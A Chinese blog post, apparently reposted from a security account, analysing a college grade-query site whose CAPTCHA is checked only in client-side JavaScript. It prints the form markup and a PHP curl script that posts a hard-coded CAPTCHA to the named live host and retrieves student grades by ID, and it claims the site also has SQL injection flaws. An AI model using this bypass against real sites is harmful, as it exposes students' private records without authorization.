今天第一节咱们需要突破验证码的问题。
测试地址:http://www.xxxxxxxxxx.com:2000/Login.aspx
这个地址就是博主所毕业的院校,大专,官网存在sql注入漏洞,sa权限等各种漏洞。博主在这仅仅是作为一个演示,请各位同学不要对此网站进行恶意测试,谢谢合作。
今天的主角成绩查询系统,咱们先看一下图
![对某校成绩查询系统的查询接口进行突破(WEB分析) 对某校成绩查询系统的查询接口进行突破(WEB分析)]()
在图上面我已经用红色框标出了版本号。版本号上显示的是2010版本的(PS:博主是2010级WEB应用程序设计专业),版本已经非常久远。
其实对于这种系统,博主最讨厌的就是验证码(好多童鞋也有同样的感受)。尤其是在手机上输入验证码,太痛苦了,就想着能不能将验证码绕过。于是博主开始分析web页面验证码的部分。
查看页面源代码,咱们来看表单这部分,看图
![对某校成绩查询系统的查询接口进行突破(WEB分析) 对某校成绩查询系统的查询接口进行突破(WEB分析)]()
在图中我们可以看到这句
<form name="Form1" method="post" action="Login.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="Form1">
这句咱们可以获得什么信息呢?很多人说这只是一个简单的form表单的基本属性啊,提交的时候调用了 WebForm_OnSubmit()方法,表单名称是Form1,post方式提交,地址是Login.aspx,但是这对我们来说有什么用呢?当然, 获取到这些信息是必要的,博主在这需要强调的这里的Form1这个表单的name,从这个名字咱们可以看出来,这个表单是拖控件的时候自动生成的 (asp.net),博主不才,大专三年就只挂了asp.net这门课程,但是上课的时候还是会听一下,对一些简单的还是可以理解。
好了,既然这个表单是通过控件拖出来的,咱们就知道这个系统在开发设计的时候其实根本没有花太多的时间去做架构,甚至可能存在很大的安全性的问题。咱们继续往下看。上图中的
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTE5NjM3MTE3NjVkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQdJYkxvZ2luSqjAykeqFWGQujGhGWCT26TcG0E=" />
这段代码是在asp.net控件在生成html代码的时候自动生成的,至于用来干嘛的博主也不知道(博主这门课挂科了,很少听,这里应该有臭鸡蛋砸过来)。好的,这一段咱们分析完成,咱们来看下验证码那块的代码
<table border="0" cellpadding="0" cellspacing="2" style="height:25px;" >
<tr>
<td style="padding:0;margin:0;height:25px;" >
<table cellpadding="0" cellspacing="0"><tr><td>
<input type="text" title="请输入右边图片显示的字符" onblur="GetIsValidate(this.value);" onkeyup="GetIsValidate(this.value);" onmouseup="GetIsValidate(this.value);" onchange="GetIsValidate(this.value);" style="width:50px;height:17px;background-color:#87adbf; border:solid 1px #153966; font-size:12px; color:#283439; " id="AuthCode1$codeText" name="AuthCode1$codeText" value="" />
</td>
<td id="___authStr"><img title="正在验证..." style="display:none;" src="/WebResource.axd?d=kohx5z6x7_DX5UxnyUc-8qbTdYbsrExQ2o8GiBYZ045QAdy8SZK6z4YDtpART7sTUeOONSZk0tBPZ7tVEZEaSw2&t=633840241840000000" /><img title="验证码正确!" style="display:none;" src="/WebResource.axd?d=kohx5z6x7_DX5UxnyUc-8qbTdYbsrExQ2o8GiBYZ047v-J4yWhRBmd7DswqW3UPD4j9e7MZzCypVYebVhsZCVA2&t=633840241840000000" /><img title="验证码错误!" style="display:none;" src="/WebResource.axd?d=kohx5z6x7_DX5UxnyUc-8qbTdYbsrExQ2o8GiBYZ047XqVMc7VsNkXbuD2bXn45_yBrZGs4ICqkIMPaQfcn2_Q2&t=633840241840000000" /></td>
</tr></table>
</td>
<td style="padding:0;margin:0;padding-top:0 !important;padding-top:2px;height:25px;">
<img style="cursor:pointer;" title="换一张图片" id="AuthCode1$codeText$img" border="0" alt="" onclick="this.src='?AuthCode1$codeText=c179564&___clientRandom='+Math.random()" src="?AuthCode1$codeText=c633179" />
</td>
<td style="padding:0;margin:0;height:25px;line-height:25px;" valign="bottom">
<span style="cursor:pointer;color:#ff7755; font-size:12px;text-decoration:underline;"
onclick="document.getElementById('AuthCode1$codeText$img').src='?AuthCode1$codeText=c17956&___clientRandom='+Math.random()" >换一张图片</span>
</td>
</tr>
</table>
表格布局,控件拖出来的,代码好坏UI好不好咱们不评论,咱们来看代码。
首先,咱们看到
<input type="text" title="请输入右边图片显示的字符" onblur="GetIsValidate(this.value);" onkeyup="GetIsValidate(this.value);" onmouseup="GetIsValidate(this.value);" onchange="GetIsValidate(this.value);" style="width:50px;height:17px;background-color:#87adbf; border:solid 1px #153966; font-size:12px; color:#283439; " id="AuthCode1$codeText" name="AuthCode1$codeText" value="" />
这行就是验证码输入框,我们看到了onkey事件,这几个事件就是为了在输入框失去焦点的时候对验证码进行验证,既然是验证,那肯定是要提交到服务器进行 验证,好,我们来看下是个什么情况。看图
![对某校成绩查询系统的查询接口进行突破(WEB分析) 对某校成绩查询系统的查询接口进行突破(WEB分析)]()
图中博主将重要的部分用红色框框出,每输入一次都会向服务器请求一次,而且每次都会返回验 证结果。博主就诧异了,按照一般的设计方式,验证码不是应该在最后一次性验证吗?为毛每输入一次都要去验证?好吧,暂且不说这设计怎么样,渣就渣吧,能用 就行。咱们继续往下看。服务器返回了true给客户端,我们看下客户端拿到true之后干嘛了。咱们来看一段验证码在客户端验证的代码
<script>
function ___authCode_checkCode(){
if(document.getElementById('AuthCode1$codeText').value==''){alert('请输入验证码!');return false;}
else if(document.getElementById('AuthCode1$codeText').value.length!=4){alert('验证码输入长度有误!');return false;}
else if(!___IsValidate){alert('验证码输入错误!');return false;}
return true;
}
if (window.navigator.userAgent.indexOf("MSIE")>=1)
document.getElementById('Form1').attachEvent("onsubmit",___authCode_checkCode);
else
document.forms['Form1'].onsubmit=___authCode_checkCode;
</script>
呵呵,,没错,上面的___authCode_checkCode方法就是来验证验证码的,后面有个判断,成功就return true;就可以执行下面的表单提交。
没错!你没看错!验证码对错与否是前端js决定的啊,wo na ge da cao a !!!!那就是说只要把始终把验证码验证结果写成true就可以直接提交表单啦。
说了这么多,咱们不如一试。博主为了方便演示,在本地搭建了一个php环境,使用php的curl来模拟提交。OK,咱们来看下代码。
<?php
include 'Curl.class.php';
$requrl='http://www.mjrj.com:2000/Login.aspx';
$paramsarr = array(
'AuthCode1$codeText'=>'1234' ,
'IbLogin.x'=>'28' ,
'IbLogin.y'=>'5' ,
'__EVENTARGUMENT'=>'' ,
'__EVENTTARGET'=>'' ,
'__EVENTVALIDATION'=>'/wEWBAL+lvrhCwLdzJPTCgLulqzxBQLO1MHXAvjUfgTsNT8pkT5ZdD7+HKa8R9Dr',
'__VIEWSTATE'=>'/wEPDwULLTE5NjM3MTE3NjVkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQdJYkxvZ2luSqjAykeqFWGQujGhGWCT26TcG0E=' ,
'txtST_CardID'=>$_GET['txtST_CardID'] ,
'txtST_ID'=>$_GET['txtST_ID']
);
$cUrl=new Curl();
$result=$cUrl->post($requrl,$paramsarr);
echo $result;
?>
引用了curl的一个class文件,这个文件网上也有很多版本,功能也是各种各样。我这模拟提交的时候那些参数和值有些是asp.net在生成html 代码的时候生成的固定值,原封不动传回去就OK啦,我这验证码传的是1234,其实这里随便传什么验证码都可以的(fuck!).咱们看下界面,博主随便 写了一个页面,不会太丑就行。
![对某校成绩查询系统的查询接口进行突破(WEB分析) 对某校成绩查询系统的查询接口进行突破(WEB分析)]()
咱们来测试下结果吧,由于博主已经毕业了,成绩被学校都清空,只能找学弟要了学号测试,非常感谢。
![对某校成绩查询系统的查询接口进行突破(WEB分析) 对某校成绩查询系统的查询接口进行突破(WEB分析)]()
在图上我们看到传过去的就只有学号和证件号,并没有验证码。因为验证码已经被我写死在php代码里了,咱们来看下查询结果是个什么 样的吧。一起看图。
![对某校成绩查询系统的查询接口进行突破(WEB分析) 对某校成绩查询系统的查询接口进行突破(WEB分析)]()
怎么样,还行吧。
好了,在这博主就完成了对该高校成绩查询系统的验证码绕过并且美化了一个手机页面,看起来更加的直观。在最后咱们来看下官方查询的页面吧。美观不美观我就不吐槽了。
![对某校成绩查询系统的查询接口进行突破(WEB分析) 对某校成绩查询系统的查询接口进行突破(WEB分析)]()
转载:https://www.92ez.com/?action=show&id=8
个人博客:一只猿 https://www.92ez.com/
欢迎关注一只猿作者博客 作者博客有许多分享文章
原文始发于微信公众号(星冥安全):对某校成绩查询系统的查询接口进行突破(WEB分析)
评论